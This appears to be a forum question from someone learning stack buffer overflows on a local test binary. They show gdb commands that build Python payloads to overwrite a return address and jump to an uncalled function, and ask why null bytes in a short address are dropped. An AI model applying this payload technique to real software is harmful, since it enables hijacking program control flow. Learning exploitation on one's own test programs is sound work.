I am using buffer overflow to overwrite the return address and calls another function. The name of function I call by overwriting the return address is not_called. Here is how I create the payload
(gdb) r $(python -c 'import sys; sys.stdout.write("A"*0x6c + "BBBB"+"\x3b\x42\x08\x08")')
The program works in the above case and not_called function is called. The problem arises when address of not_called is in this format : 0x57d.
When I create payload as follows :
(gdb) r $(python -c 'import sys; sys.stdout.write("A"*0x6c + "BBBB"+"\x7d\x05\x00\x00")')
I get the following error and program won't work.
(gdb) r $(python -c 'import sys; sys.stdout.write("A"*0x6c + "BBBB"+"\x7d\x05\x00\x00")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/aditya/Desktop/victim $(python -c 'import sys; sys.stdout.write("A"*0x6c + "BBBB"+"\x7d\x05\x00\x00")')
/bin/bash: warning: command substitution: ignored null byte in input
0xffffd07c
Program received signal SIGSEGV, Segmentation fault.
0x5600057d in ?? ()
If you look at address at SIGSEV, it is 0x5600057d, it should have been 0x0000057d.
For example, If I try some random address as 0x3412057d, you can see that seg fault occurs at that address.
Starting program: /home/aditya/Desktop/victim $(python -c 'import sys; sys.stdout.write("A"*112 +"\x7d\x05\x12\x34")')
0xffffd06c
Program received signal SIGSEGV, Segmentation fault.
0x3412057d in ?? ()
I can see that function bash is also giving some warning with null bytes. Dows this have to do something ? How can I pass such a small address ?